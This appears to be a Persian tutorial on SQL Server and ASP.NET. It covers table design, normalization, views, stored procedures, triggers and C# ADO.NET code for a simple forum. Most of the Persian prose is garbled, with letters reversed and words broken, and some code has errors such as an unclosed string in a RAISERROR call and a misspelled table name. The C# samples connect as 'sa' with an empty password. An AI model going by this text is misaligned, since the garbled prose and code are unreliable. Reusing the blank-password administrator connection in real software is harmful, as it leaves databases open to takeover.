ام  ردنک  وارد الوگید ی صفحه تا دينک انتخاب را دیجد یاطلاعات کبان یک جادیا ی نهیگز  ) ١کل ش ( دیينما راست يکلک ا ید ن  یسب  ت
از  دی جد ام  . شود  ب ون کا .دي نکOk  سپس  و وارد را دلخواه  ین ات  کبان  یک  ن ام  یاطلاع ه  خ ات  کبان  ی مجموعه  ب -SQL یاطلاع

Serverمیينما جادیا آن در اطلاعات تیریمد یبرا را دلخواه جداول تا باشد یم ازين و است شده اضافه.  
  
 لکش  ( شود  ظاهر لد هايف جادیا ی صفحه تا دیينما انتخاب را دیجد جدول یطراح ی نهیگز و) ٢ لکش ( دينک يکلک دیجد سيتابید یرو
 را صفحه نیا سپس .دیينما ميتنظ را گرید موارد و ريخ ای و ردیبپذ راNull  ایآ و طول ، نوع ، لد هايف یسادگ به ديتوان یم نجایا در) ٣
  .ردیبپذ را فرض شيپ امن ) ٤ لکش ( شود ظاهر جدول نام ردنک وارد یبرا گرید الوگید ی صفحه یک تا دیببند

 
  :دينک جادیا را سيتابید نیا مثال یبرا

  .دیينما مشاهده ریتصاو در ديتوان می هم را آنها مشخصات ریسا ID ،Pass ، Name_LastName  لديف سه با یاطلاعات بانک
 

  
  

 SQL-Server .در دیجد اطلاعاتی بانک کی جادیا برای قدم نياول -١ شکل
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 SQL-Server .در دیجد جدولی جادیا برای قدم نياول -٢ شکل
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 SQL-Server .در یسب تاید طراح -٣ شکل

  
  

  
  

 .شده جادیا دیجد جدول برای نامی ورود -٤ شکل
  

 : تهکن چند
  
ا  هک  دیي نما انتخاب را اییلد هيف نوع است بهتر دينک وارد یاطلاعات کبان در را یفارس متن مانند ديکونی یها داده ديخواه یم اگر -١  ب
n شوند یم شروع n یمعنا به نجایا در national  است.  
 
 یطراح هنگام در آنرا ديتوان یم ندارد اطلاعات ورود یبرا یآنچنان تياهم ( حيتوض مثلا ) لديف یک ، یسینو برنامه هنگام در اگر -٢
 ديخواه مواجه خطا یک با گرنه و شود پر یا داده با دیبا حتما نباشد نگونهیا یلديف اگر نصورتیا ريغ در .دیينماAllow Null سيتابید
وان  یم  موضوع  نیا از کردن حاصل نانياطم یبرا . شد ه  ت ادگ  ب رل ک از یس ا  نت ي تع یه ار  ني ورد  در هک  اعتب ا  م  شد  داده حيتوض  آنه

  .نمود استفاده
  
د  یم  هک  ییا TextBox  در است بهتر . دیا ردهک جادیا ٥٠ طول به  Name نام به یلديف دينک فرض -٣ د يف ن یا خواه  اربرک  از را ل
را  نصورت یا ريغ در . نشود اجرا زمان یخطا دچار برنامه بازهم تا ديده قرار ٥٠ یمساو راMaxLength  تيخاص ندک افتیدر  یب
 يارسآن ب  لاتکمش  رفع و بییا خطا نوع نیا متاسفانه و شود یم متوقف خطا یک با برنامه حتما ندک وارد ترکاراک ٥١ اربرک اگر مثال
  .شود عوقو از قبل واقعه علاج است بهتر پس .باشد یم لکمش
 
 اعداد از قبل صفر یک دادن قرار و شود استفاده ترکاراک نوع از است بهتر یفارس خیتار ردنک وارد یبرا هک است داده نشان تجربه -٤

ه جای   آورد بدست را خیتار تا خیتار از یآمارها یراحت به بتوان تا دينکن فراموش را یرقم یک وان نوشت    ١/١/٨٢ برای مثال ب  می ت
٠١/٠١/٨٢ .  

 
 تعداد هيکهنگام ارک نیا .دیينما اضافه جدول نام از قبل به_t ا یو tbl یک است بهتر SQL-Server در جدول یک ینامگذار هنگام -٥

 گرفت  نخواهد قرارSQL-Server یستميس جداول یلابلا شما جداول و دهد یم نشان را خودش تياهم شود یم ادیز شما کبان جداول
  .)آنها ستيل لابلای در( 
  
 حداقل مثال یبرا)  ٦ و ٥ لهایکش(  Primary key نام به دينک جادیا رده فب منحصر لديف یک دينک یسع حتما جدول یطراح هنگام -٦

د يف نی ا در شده رد وا یها نداده بود تایک مورد درSQL-Server . دیينما جادیا شود یم پر یمتوال اعداد با هک فیرد لديف یک  مراقبت  ل
 !داد خواهد انجام را لازم یها
  
 یک .باشد یم Foreign key از استفاده سيتابید یپارچگیک از ردنک حاصل نانياطم و ها داده یساز ديمق یها روش از گرید یکی -٧

Foreign key فرنسیر جادیا یبرا  Primary keyها داده هک شد خواهد حاصل نانياطم لهيوس نیبد و شود یم برده ارکب گرید جدول 
 .داشت خواهند حضور شده داده ارجاع جدول یخارج ديلک نستو در
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   ) .دیينما راست کيکل آن روی سپس و ديکن انتخاب را لديف ابتدا ( جدول برایPrimary Key  جادیا ی نحوه -٥ شکل
 
  
  
  

  
  

   . است شدهPrimary key که لدیيف کنار در ديکل علامت جدول شکل -٦ شکل
  

رای  .دارد وجود  ادیی ز حلهای راهSQL-Server در جدول روی سجووپر ای و کوئری گرفتن برای ال  ب  راست  کي کل جدول  روی مث
 که  ) ٨شکل  ( شد خواهد باز ای صفحه )٧ شکل ( ديکن انتخاب راReturn all rows ی نهیگز آن Open Table ی نهیگز از و نموده
  .کرد وارد هم دستی صورت به را ها داده توان می نجایا در . دهد می شینما ا ر جدول رکورد های تمام

  
ود  دي تول را دستورات  نیا ژوالیو صورت به توان می دیندار ای علاقهSQL دستورات کردن حفظ به اگر ا  و نم رد  شیآزم ر  .ک  روی ب
 )٩ شکل (دیينما انتخاب را Query  ی نهیگز Open Table ی نهیگز وا ديکن راست کيکل جدول نام
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 . جدول روی بر ساده کوئری کی گرفتن ی نحوه -٧ شکل

  
  

  
  

  .شود می داده شینما جدول رکورد های Return all rows روی کردن کيکل از پس -٨ شکل
  
 

 : ها داده یساز نرمال
   :است )  t_bandآن جدول نام ( کرد جادیا ریز مشخصات با سيتابید کی توان می قسمت نیا دادن حيتوض برای

  
 [band_id] [int] IDENTITY (1, 1) NOT NULL 
[band_title] [varchar] (100) NOT NULL 
[music_type_id] [int] NOT NULL 
[record_company_id] [int] NOT NULL 

  
 پروسه  Normalization ري خ ای  ست  ا شدهNormalized ایآ هک شود یم حاصل نانياطم ، جدول یک یطراح یابیارز یبرا عموما

د  یم  حذف یرارکت و دیزا یها داده . لهيوس نیبد و رنديگ یم قرار مرتبط جداول در ها هداد آن در هک است یا وان  . گردن دد  نيق  یمتع
  :هستند ریز صورت به آن ییابتدا فرم سه .شود یم گفته Normalization forms آنها به هک دارد وجود ارکنیا انجام یبرا
  
  (FNF) :نرمال اول فرم

  
اربر  یک فوق جدول در مثال برای . باشد گانه چند های داده حاوی يتواندمن جدول در ستون یک قاعده این با مطابق د  می  ک دین  توان  چن
 .شوند تجزیه آلبوم و استکاربر بهتر پس .برعکس و بخرد را آلبوم
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  SQL-Server .در کوئری طراحی طيمح -٩ شکل
  
  (SNF) :نرمال دوم فرم

  
 .است شده تیرعا جدول نیا در هک Primary key فقط نه و entire key به باشد ابستهو دیبا ستين ديلک هک یستون هر
 

  (TNF):نرمال سوم فرم
  

ورد  در بهتر ی دهیا .باشند وابسته ستندين ديلک هم آنها هک ییها ستون ریسا به دینبا ستندين ديلک هک ییها ستون د  جدول  نی ا م  صورت  نیب
 تر نيسنگ برای شتريب حاتيتوض ( ميده ارتباط هم به را آنها Foreign key قیطر از و مينک ميقست ترکوچک جداول به را آنها هک است
   ) .شد خواهد ارائه باشد می جاری فصل ی ادامه که آتی  فصل طی در فصل نیا نشدن
ا  چون ردک زيپره ادیز جداول تعداد از دیبا انکام حد تا هک است نیا داشت بخاطر دیبا هک را یمطلب ه  در یادی ز یه د  وجود  ادام  خواه
  !علم تا است هنر یک شتريب یاطلاعات کبان به ازين و دهد یم اهشک را ییارآک Join یک یطراح حال هر در . داشت

 
: Query Analyzer  

  
انطور  جدول  و کبان  یک  جادیا یبرا ه  هک  هم وان  یم  ای  شد  گفت تفاده  Enterprise manager از ت ا  ای  و ردک  اس تفاده  ب ه  از اس  برنام

Query Analyzer همراه هک SQL-Server دستورات شود یم نصب T -SQLوارد  و جدول و کبان جادیا ارک و نوشت را  گر ید م
   .داد انجام را

ه ) ١٠ لکش  ( شود  یم  ظاهر SQL-Server به اتصال ی صفحه ابتدا دينک یم اجرا را Query Analyzer هيکهنگام  معمول  طور  ب
ام  دی با هک  یموارد از  یکیشود یم جادیا یخال پسورد و LoginName=sa  با یاربرک SQL-Server  نصب هنگام رار  هنگ  دادن ق
رای  هم گرید راه کی . نندکن استفاده سوء آن از رهاکه تا شود دقت آن به هکشب یرو ها داده  دارد وجود  Query Analyzer اجرای  ب

   .دیينما انتخاب را Query Analyzer دارد قرار صفحه الایب در که Tools منوی از Enterprise manager طيمح در. 
 
ار  آن روی دي خواه می که را سیيتابید کاری هر از قبل است بهتر طيمح نیا در ا  دیي نما انتخاب  دي کن ک اب ید روی شما  دستورات  ت  سيت
  ).١١ شکل ( نشود اجرا گریید
  
   . شوند یم اجرا دستورات F5 مهکد فشردن با آن طيمح در
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  : ردک استفاده توان یم هم ریز دستورات از جدول ديتول و یسب تاید جادیا یابر
 

USE master 
GO 
CREATE DATABASE Music ON PRIMARY 
( NAME = MusicData, 
FILENAME = ‘C:\MSSQL7\data\MusicData.mdf’ 
) 

  
  : ادامه در و
 

USE Music 
GO 
CREATE TABLE [dbo].[t_bands] ( 
[band_id] [int] IDENTITY (1, 1) NOT NULL , 
[band_title] [varchar] (100) NOT NULL , 
[music_type_id] [int] NOT NULL , 
[record_company_id] [int] NOT NULL 
) ON [PRIMARY] 
GO 
ALTER TABLE [dbo].[t_bands] WITH NOCHECK ADD 
CONSTRAINT [PK_t_bands] PRIMARY KEY NONCLUSTERED 
( 
[band_id] 
) ON [PRIMARY] , 
CONSTRAINT [IX_bands_title] UNIQUE NONCLUSTERED 
( 
[band_title] 
) ON [PRIMARY] 
GO 

  
  

  
  

  .Query Analyzer اجرای برای SQL-Server به اتصال ی صفحه - ١٠ شکل
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  .دیينما مشخص را دينک کار آن روی ديخواه می که را يسیبتاید زيچ هر از قبل Query Analyzer طيمح – ١١ شکل
 
  View :جاديا
  

د  یم یلکش چه به را ها داده اربرک یک هک ندک یم نييتع و است یش یک اساسا View یک د يبب توان  (Query)پرسجوی  یک  View  ن
 يننهمچ و (را جداول نه و نديب یم را View یها یش اربرک حالت نیا در ) بوده ديمف هم یتيامن موارد یبرا هاView است شده رهيذخ
 انک ام Enterprise Manager و Query analyzer یدو هر با View جادیا .دارند اربردک ادیز هک ییها Query یساز ساده یبرا
 . است ریپذ
  
 
  : مثال یبرا
 

CREATE VIEW [owner.]view_name 
AS select_statement 

  
  .دهد ارائه t_babds جدول در را bands تمام امن هک دينک درست را ییا View  ديخواه یم هک دينک فرض مثال یبرا
 

USE Music 
GO 
CREATE VIEW all_bands 
AS 
SELECT * FROM t_bands 

  
   Stored procedures :جاديا

  
ه  یک  ، شده رهيذخ العمل دستور ای هیرو یک ا  ، شدن  لی امپاک شيپ  نی ا لي دله ب  . است  شده  لی امپاک شيپ  T-SQL ی جمل  ییارآک  آنه
اس  انک ام بعلاوه  . دهند یم ارائه ها یوئرک انواع ریسا وView به نسبت ار یبهتر ه  ري متغ ردنک  پ ا  از ای  و ب  روش .دارد وجود  آنه

  : جادیا
 

CREATE PROCEDURE procedure_name 
[{@parameter_name data_type} [VARYING] [= default] [OUTPUT]] 
[, ...n] 
AS 
sql_statement 
 : مثال
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CREATE PROCEDURE pr_albums 
AS 
SELECT album_title FROM t_albums ORDER BY album_title 

  
دا  Query analyzer در دي توان یم  شما  شده  رهي ذخ هی رو یک  یاجرا یبرا ام  سپس  و Execute  مخفف  Exec  ديسی بنو ابت  هی رو ن
  ديده فشار را F5 ی  مهکد سپس و شده رهيذخ
 

  : ردیذپ یم هم را آرگومان یک ریز مثال
 

CREATE PROCEDURE pr_albums2 
@iBandID INT 
AS 
SELECT album_title 
FROM t_albums 
WHERE band_id = @iBandID 
ORDER BY album_title 

  
  Triggers :جاديا

  
Trigger يک اتومات صورت به هک است خاص ی شده رهيذخ هیرو نوع یک invoked ا  شود  یم  ناخواسته  اصلاحات  و راتيي تغ از ت

 ازداند یم خطر به را مورد نیا هک یراتييتغ از و شده حاصل . نانياطم ها داده یپارچگیک از تا نندک یم کمکTriggers کند ریيجلوگ
ال  یبرا .شود یريجلوگ وان  یم  مث ان ياطم ت وان ينم را وردک ر یک  هک  ردک  حاصل  ن رنس یر از گر ید جدول  در هيک هنگام ت  دارد آن ف
 شما  هک  شوند  یم  اجرا  یهنگام آنها . ستندين اجرا قابل حیصر صورت به و ندارند پارامتر هاTrigger . درکdelete  شود یم استفاده

 ديباش داشته جدول از / به ها داده Delete ای Insert ،Update در یسع
 

  : جادیا ی نحوه
 

CREATE TRIGGER trigger_name 
ON table_name 
FOR {INSERT | UPDATE | DELETE} 
AS sql_statement 

  
 : مثال برای و
 

CREATE TRIGGER trg_DeleteBand 
ON t_bands 
FOR DELETE 
AS 
IF EXISTS(SELECT album_id FROM t_albums, deleted WHERE t_albums.band_id 
= 
deleted.band_id) 
BEGIN 
RAISERROR(Band has albums!’,16,1) 
END 

 
 

  
 SQL-Server  مقدمات و  SQL زبان با يیآشنا

  
 دوم سمتق
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  : مقدمه

  
 از یآت فصول یط در بتوان یراحت به تاSQL نیاديبن و یاساس دستورات از یسر یک بر ميباش داشته یمرور میدار قصد فصل نیا در
 توجه با هيکهنگام . شد خواهد برداشته forum یک نوشتن یبرا مجموعه نیا ی پروژه ی نهيزم در اول قدم نيهمچن . نمود استفاده آنها
ات  کبان  یک  نيشي پ فصل مطالب به اد یا را یاطلاع ه  ازي ن میردک  ج ال  از یسر  یک  ب را  آن یرو یاساس  اعم را  . رسد  یم  ف ال  یب  مث
اده  . دی آ یم شمار به یاطلاعات ستميس یک ی روزمره یارهاک جزو هک ها داده حذف و درآوردن روز به ، جادیا ، افتیدر ر  س  راه نیت
ه  فصل  نیا در هک باشد یمSQL زبان از ستفادها امور نیا انجام یبرا ه  آن ب د  پرداخت را Query Analyzer  طيمح  از و شد  خواه  یب
  .یم ريگ یم کمک اتردستو یاجرا

  
  Select :عبارت

  
 زا را ها داده توان یم دستور نیا از استفاده با .باشد یمselect عبارت SQL دستورات نیتر کاربرد پر و نیمهمتر از یکی کش بدون
ا ادر  آن آوردن از و است  دهيچيپ اريبس آن یلک لکش . ردک افتیدر جداول ا  و شود  یم  صرفنظر  ینج ه  تنه د  رک ذ ب ال  چن  یلابلا  در مث
 .گردد یم تفاکا فصل نیا گرید یها قسمت

  
  Insert :عبارت

  
وان  یم  آن ی لهيبوس   و باشد  یم  Insert شود  یم استفاده آن از سيتابید یک به ها داده ردنک اضافه یبرا هک یدستور  ( فی رد یک  ت

 . جست بهره شده رهيذخ یها هیرو از توان یم واحد آن در وردکر نیچند ردنک اضافه یبرا . ردک اضافه واحد درآن کبان به ) وردکر
 آنها نام ، آنها نوع ) ها لديف ( ها ستون تعداد مانند یاطلاعات کبان ساختار ای و خواص از یسر یک دیباInsert دستور از استفاده هنگام

  .نمود توجه رهيغ و
 
  : است ریز صورت به عبارت نیا یلک لکش
 

INSERT INTO tablename [(columnname, ...)] VALUES (constant, ...) 
  
ام  فرض  شيپ  صورت  به هک یها سيتابید از یکی مثال یبرا را  SQL-Server نصب  هنگ راه  یآموزش  مقاصد  یب  یم  نصب  آن هم

ه  ميخواه یم دينک فرض .باشد یمPubs  سيتابید گردد، ا  في تخف جدول  ب ل  . مين ک اضافه  وردک ر یک  آن یه  است  لازم یزي چ هر  قب
را  ساختار  دان  آن ه  ميب ه  وردک ر ردنک  اضافه  انک ام و گرن ه  حيصح  صورت  ب د  وجود  آن ب ام  یرو اگر  . داشت  نخواه  در آن جدول  ن

Enterprise manager١ لکش ( ردک مشاهده آنرا اختارس توان یم دينک يکل کدوبار(  
  
  

  
  
  SQL-Server .در Pubs استاندارد یاطلاعات کبان Discounts جدول ساختار -١ لکش
 
  
 . شود اجرا ماSQL دستورات ردنک وارد یبرا شده ادی برنامه تا دين کانتخاب را SQL Query analyzer ی  نهیگز Tools یمنو از

ا  دستورات گرنه و باشد شده انتخاب Pubs سيتابید دیبا حتما دارد قرار صفحه در هک افتادن نیيپا یمنو در هک ديباش داشته دقت  یرو م
  .ردک استفاده ارکنیا یبرا SQL-Server در توان یم هم Use دستور از البته  )٢ لکش ( شد خواهد اجرا گرید سيتابید یک
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 .باشد شده انتخاب حيصح مربوط سيتابید هک ردک دقت دیبا سيتابید یک با ارک هنگام -٢ لکش
  
  : ديسیبنو آن طيمح در
 

use pubs 
insert into discounts ( discounttype , discount ) values ( 'myt1' , 5 ) 
select * from discounts 

  
ا  و شد خواهند یبررس زبان دستور لحاظ از شده نوشته عبارات ديده فشار راCtrl+F5 یها مهکد اگر شر  ب ه کد دنف  دستورات F5 ی م
ا  یسک  اگر  هک  است یهیبد .شوند یم اجرا فوق ه  طيمح  نی ا ب ه  یازي ن باشد  راحت  یا حرف ه يه ب را  ژوالی و یط يمح چگون  یاجرا  یب

   .داشت نخواهد دستوراتش
 

م  با اعداد و تر هاکاراک وارد ی نحوه دينک یم ملاحظه هک همانطور اوت  ه دون  است  متف رده  ارک ب ' ' و ب ا  اول سطر  و شوند  یم  ب  تنه
د يف اگر  هک  ردک  دقت  دی با . است  شده  نوشته  شتريب نانياطم یبرا ا  نباشد AllowNull یل ردد  رک ذ دستور  نی ا در دی با حتم  ري غ در گ
اب ید ساختار  به توجه و دانستن هک است ليدل نيهم به .دیشو یم مواجه اجرا انزم در خطا دستور یک با نصورتیا  دستور  نی ا در سيت

  . ستا یالزام
 
  .داد ميخواه قرار استفاده موردADO.NET لاسک داخل لیشما و لکش نيهم با را دستورات نیا قايدق یآت فصول یط در
  
  

  Delete :عبارت
  : است ریز صورت به آن یلک لکش و ندک یم حذف یاطلاعات کبان از را ) وردکر ( فیرد نیچند ای یکDelete  عبارت

 
DELETE FROM tablename [WHERE where expression] 

  
ارت  در اگر  وق  عب رار where ف شود  داده ق ه  چشم  یک  در جدول  لک  ن م  ب ا  زدن ه د  کپ ه  خوب  پس  شد  خواه  از . دیي نما دقت  آن ب

Whereاز استفاده با قسمت نیا در هک است یهیبد و شود یم استفاده ها داده حذف ی بازه ردنک محدود یا بر And و Orنهایا امثال و 
  . ردک جادیا را یتر یقو حذف یها ویرس جپ توان یم
 
سمت  در هک  را یوردک ر ميخواه یم مثال یبرا ل  ق ه  قب ارت  . مين ک حذف  میردک  اضافه  في تخف جدول  ب  Query طيمح  در را ری ز عب

analyzerدیينما اجرا آنرا سپس و ديسیبنو .   
 

use pubs 
select * from discounts 
delete from discounts where discounttype='myt1' and discount = 5 
select * from discounts 

  
 داشته وجود شده رکذ شرط آنها در هک نک حذف را  یی ) ها( وردکرdiscounts  جدول از هک دیگو یم SQL-server  به فوق عبارت
 . باشد

  
  شرط Null و Contains Like مانند ندیگو یم زين Predicate آنها به هک ردک استفاده را  ییها عبارت توان یم Where  قسمت در

Contains  ام وده true یهنگ ردد  یم  اجرا  و ب د يف ( ستون  هک  گ دار  یحاو  دهی گرد مشخص  ) ل ام  Like باشد  شده  مشخص  مق  یهنگ
trueرا  . باشد  داشته  مطابقت  شده مشخص یالگو با مشخص یستون هک بود خواهد تفاده  Wildcards از الگو  فی تعر یب  شود  یم  اس
   . نهایا امثال و _ و % ماننده
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   : دیينما اجراQuery analyzer در را ریز یها عبارت مثال یبرا
 

use pubs 
insert into discounts ( discounttype , discount ) values ( 'myt1' , 5 ) 
insert into discounts ( discounttype , discount ) values ( 'myt12' , 5 ) 
insert into discounts ( discounttype , discount ) values ( 'myt123' , 5 ) 
select * from discounts where discounttype like 'myt%' 
delete from discounts where discounttype like 'myt12%' 
select * from discounts 

  
  Update :عبارت

  
  : است ریز صورت به آن عبارت از ( وردکر ) فیرد یک در ها داده ردنک شیرایو یبرا update یلک لکش هک شود یم استفاده

 
UPDATE tablename SET columnname = contstant [AND columnname = 
constant ...] [WHERE where-expression] 

  
  .ندک یم عمل هم مانند دستورات نیا تمام درWhere  قسمت هک است رکذ به لازم

  
  : دیينما اجرا Query analyzer در را ریز یها رتعبا مثال یبرا
  

use pubs 
insert into discounts ( discounttype , discount ) values ( 'myt1' , 5 ) 
select * from discounts 
UPDATE discounts SET discounttype = 'aaa' WHERE discounttype='myt1' 
select * from discounts 

  
  .شد خواهد شیرایو و ميتنظaaa  به آن مقدار باشد 'discounttype='myt1  هک یوردکر هر در فوق عبارات در
  

  : ساده (Forum)انجمن يک جاديا یبرا ، مجموعه پروژه یطراح به آغاز
 
را  . دارد وجود  یمختلف یها حل راه برنامه یک لاک ای و فورم یک یطراح یبرا ال  یب دا  مث اب ید فی تعر ابت  لکش  فی تعر سپس  و سيت

ه  ! دامک چيه ای و سکبرع ای و آن یسینو برنامه سپس و صفحات دا  شخصه  ب رم  یطراح  ابت ا  ف ات  کبان  یطراح  سپس  و ه  از یاطلاع
  : گردد یم لکيتش ریز عناصر از ساده فورم یک. دهم یم حيترج آنرا یرو
 
  . اربرک توسط آن شیرایو یبرا یا صفحه و اربرانک نام ثبت یبرا یا صفحه - ١
 اربرک نوع و شیرایو خیتار نیآخر نام ثبت خیتار ، پسورد و ليمیا آدرس مانند ییها لديف با باشد tblUsers  نام به تواند یم آن جدول (

  ) .فرد مستعار نام و باشد دیبا یمعمول اربرک فرض شيپ صورت به هک رهيغ و ریمد مانند
  
ده ک پست  شخص  نام مانند ییلمهايف با باشدtblPosts نام به دتوان یم آن جدول دیجد پست جادیا یبرا یا صفحه -٢  ( پست  ان عون  ، نن

  )شود یم انجام پست آن در هک یبخش ید یآ ، پست خیتار ، پست یمحتوا
  
 شده انجام پست شیرایو یبرا یا صفحه -٣
  
 شده انجام یها پست شینما یبرا یا صفحه -٤
  
 شده جستجو اتاطلاع شینما سپس و جستجو یبرا یا صفحه -٥
  
 اربرک ردنک نيلاگ یبرا یا صفحه -٦
  
 موجود پست به اربرک دادن پاسخ یبرا یا صفحه -٧
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 شود انجام است قرار هک یپست مشاهده شيپ یبرا یا صفحه -٨
  
   ها بخش جادیا یبرا تیریمد قسمت -٩
  )ید جد بخش شرح ، بخش ید یآ و نام مانند ییها لديف با باشد) tblArea  ( نام به تواند یم آن جدول (
 

د  ! است  یافک شروع یبرا فعلا روژه  نی ا هک  است  یهیب س  پ ل  اريب سط  قاب د  است  ب ا يپ انک ام مانن   ای  و اربرانک  نيب  یخصوص  یامه
PMاز استفاده مانند ییها یساز بایز ، دست نیا از یآمار و نیآنلا یاربرهاک دادن نشان ، یقو اريبس تیریمد قسمت emoticonsليم 
 شده ادی قسمت در هکنیا بر یمبتن اربرک حضور یبعد دفعات در ییها ونیکآ شینما ، اربرک ليمیا ، آدرس به شده فراموش پسورد زدن
 .... و نهایا مانند و شده انجام یدیجد پست

  
  
  

  ASP.NET در ها داده با کار و دستيابی طريقه
  

  : مقدمه
  
ا  هی رو یاجرا  مانند گرفت خواهند قرار یبررس موردADO.NET و ها سيتابید با ارک یليمکت مباحث فصل نیا در  ، شده  رهي ذخ یه

 .رهيغ و ها ستون یرو یاضیر اتيعمل انجام
  

  : شده رهيذخ یها هيرو یاجرا
 

 یرو ميمستق صورت بهSQL دستورات هک یحالت به نسبت تر امن و عتریسر یا برنامه ، ها برنامه در شده رهيذخ یها هیرو از استفاده
 رهيذخ یها هیرو ، شد صحبت آنها جادیا ی نحوه مورد در نيشيپ فصول یط در هک همانطور . ندک یم جادیا را شوند یم اجرا سيابتید

تفاده  ی نحوه .شد خواهندCache  شما سيتابید سرور ی حافظه در و بوده یا شده لیامپاک شيپ وSQL  ورات دست شده ا  از اس  در آنه
ADO.NET شد خواهد رائها مثال یک صورت به.  

 
  :١ مثال

  
 هي ته یگزارش  جدول  دو ن یا از ميخواه  یم  . ری ز صورت  به جدول دو با دينک جادیا MyTestDB نام به دیجد یاطلاعات کبان یک
ه  هک مينک داد  تفاضل  ID هر  یازا ب داد  و یورود تع ه  تع ه  شده  فروخت ا  دی تاگرید یک  در واحد  ستون  یک  صورت  ب  . شود  داده شینم

 .باشد یم شده رهيذخ یها هیرو از استفاده مثالها نوع نیا یبرا راه نیعتریسر و نیتر مطمئن ، نیبهتر
  

  tblEntry :جدول
  

  
  
   .یطراح حال درtblEntry جدول مشخصات – ١ لکش
 
  

  tblSell :جدول
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   .یطراح حالت درtblSell جدول مشخصات –٢ لکش
  
ه  در اد یا راForeign key ميخواه  یم  ادام ا  ج ه یگز سپس  و دي نک راست  يک لک یطراح  حالت  در صفحه  یرو . میينم  ی  ن

Relationship٣ لکش ( دیينما انتخاب را (  
 
  

  
  
  . شتريب وداتيق جادیا یبراRelationship انتخاب – ٣ لکش
  
  .ديده انجام لکش مانند را صفحه ماتيتنظ و ) ۴کل ش ( دينک يکلکNew یرو شده ظاهر ی صفحه در
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   Foreign key .جادیا و لد هايف نيب Relationship جادیا ی نحوه – ٤ لکش
  
 
 در ، شده رهيذخ هیرو جادیا یبرا شد خواهد ظاهر راتييتغ ثبت شینما ی صفحه ، الوگید صفحه نیا بستن از پس آخر در و - ٥ لکش

Query Analyzerدينک جادیا را ریز شده رهيذخ هیرو.   
 

Create Procedure rptDiff 
As 
select distinct myTestDB.dbo.tblEntry.ID ,myTestDB.dbo.tblEntry.Entry_No , 
myTestDB.dbo.tblSell.Sell_No, 
(myTestDB.dbo.tblSell.Sell_No - myTestDB.dbo.tblEntry.Entry_No) as final_result 
from myTestDB.dbo.tblEntry LEFT OUTER JOIN myTestDB.dbo.tblSell 
ON (myTestDB.dbo.tblEntry.ID = myTestDB.dbo.tblSell.ID) 
Return 

  
  .نمود وارد Enterprise manager طيمح در عیسر یليخ را داده یسر یک توان یم ردک ارک فوق سيتابید با بتوان هکنیا یبرا
 
 
  : دينک استفاده ریز دستور از ديتوان یم هم آن ردنک تست یبرا
 

Exec rptDiff 
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 . سيتابید یرو بر شده انجام راتييتغ دیيتا ی صفحه – ٥ لکش
  

 : است ریز صورت به Sql Data Adapter از استفاده با ما برنامه وب ADO.NET در آن از استفاده ی نحوه سپس
  

private void Page_Load(object sender, System.EventArgs e) 
{ 
SqlConnection sqlconnectionForum = new 
SqlConnection("server=(local);uid=sa;pwd=;database=MyTestDB"); 
SqlDataAdapter sqldataadapterSP = 
new SqlDataAdapter("rptDiff",sqlconnectionForum); 
sqldataadapterSP.SelectCommand.CommandType = 
CommandType.StoredProcedure ; 
DataSet datasetSP = new DataSet(); 
sqldataadapterSP.Fill( datasetSP,"tblEntry" ); 
DataGrid1.DataSource = datasetSP.Tables["tblEntry"].DefaultView; 
DataGrid1.DataBind(); 
} 

  :٢ مثال
ا ي متغ ردنک  پاس ی نحوه ميخواه یم مثال نیا در ا  یورود و ر ه رم  یه ه  را ف  در مين ک فرض  . مين ک یبررس  شده  رهي ذخ هی رو یک  ب
داد  تفاضل  ID دادن با ميخواه یم میردک جادیا قبل مثال در آنرا هک MyTestDB سيتابید داد  و یورود تع ه  تع را  شده  فروخت  بدست  آن

 : دیينما جادیا را ریز شده رهيذخ هیرو ابتدا ميده شینما صفحه یرو و میآور
 
وط  یدرخت ستيل در . ردک استفاده زين Enterprise manager طيمح از توان یم Query Analyzer بر علاوه ارکنیا یبرا ه  مرب   ب

MyTestDB ی  نهیگز یرو Stored procedures ات  کبان  به مربوط شده رهيذخ یها هیرو تمام تا دیينما يکلک ان  یاطلاع  را خودت
ه یگز و دیينما راست يکلک آن صفحه یرو سپس . دیينما مشاهده از  ی ر صفحه د. دیي نما انتخاب  را New Stored procedure ی ن  ب
 : دينک رهيذخ آنرا و نوشته را ریز عبارت )٦ لکش ( شده

 
Create Procedure rpt_ID_Diff(@Sell_ID int) 
As 
select distinct (myTestDB.dbo.tblSell.Sell_No - myTestDB.dbo.tblEntry.Entry_No) as final_result 
from myTestDB.dbo.tblEntry LEFT OUTER JOIN myTestDB.dbo.tblSell 
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ON (myTestDB.dbo.tblEntry.ID = myTestDB.dbo.tblSell.ID) where 
myTestDB.dbo.tblSell.ID=@Sell_ID 
Return 
GO 

  
  

  
  
  Enterprise manager .طيمح در شده رهيذخ هیرو جادیا ی نحوه – ٦ لکش
  
  : ردک وارد را ریز عبارت Query analyzer در توان یم هم آن ردنک تست یبرا
  

exec rpt_ID_diff 2 
  

  : ردک ميخواه استفاده آن از ریز صورت به دیجد پروژه یک در سپس
 

private void Page_Load(object sender, System.EventArgs e) 
{ 
SqlConnection MyConnection = new 
SqlConnection("server=(local);uid=sa;pwd=;database=MyTestDB"); 
//Calling the DisplayCustomers stored procedure 
SqlDataAdapter MyCommand = new 
SqlDataAdapter("rpt_ID_Diff", MyConnection); 
MyCommand.SelectCommand.CommandType = CommandType.StoredProcedure; 
//Adding the SQL parameter 
MyCommand.SelectCommand.Parameters.Add( 
new SqlParameter("@Sell_ID",SqlDbType.Int )); 
//Specifying the parameter value 
MyCommand.SelectCommand.Parameters["@Sell_ID"].Value = 3; 
DataSet DS = new DataSet(); 
MyCommand.Fill(DS, "tblSell"); 
// write & show final_result value 
Response.Write ( "final_result = "+ 
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DS.Tables["tblSell"].Rows[0][0].ToString() ) ; 
} 

  
  : لد هايف یرو یاضير اتيعمل از یسر يک انجام

 
 نگونهیا امثال و ها نيانگيم ا یو مينک محاسبه را ( لديف ) ستون یک در موجود یها عدد لک جمع مثال یبرا تا است لازم اوقات از یگاه
د يف اعداد  لک  هک  است  رتصو  نیبد آن ها حل راه از یکی . اتيعمل ام  آن ی رو اتي عمل سپس  و ميبخوان  را ل  گر ید راه ای  و ميده  انج

 .ندک یم انيب را اتيعمل نگونهیا انجام ی نحوه ریز مثال .باشد یم ارهاک نگونهیا یبراSQL  مخصوص دستورات از استفاده
  
  :٣ ثالم
  
را  .میآور بدست را شد جادیا اول مثال در هکmyTestDB.dbo.tblSell.ID لديف در موجود عدد نیبزرگتر ميخواه یم  نی ا نوشتن  یب

د  یبررس  ری ز در آنها از یکی هک دارد وجود یادیز یها حل راه برنامه را  . شد  خواه دار  یک  آوردن بدست  یب اب ید از مق د  از سيت  مت
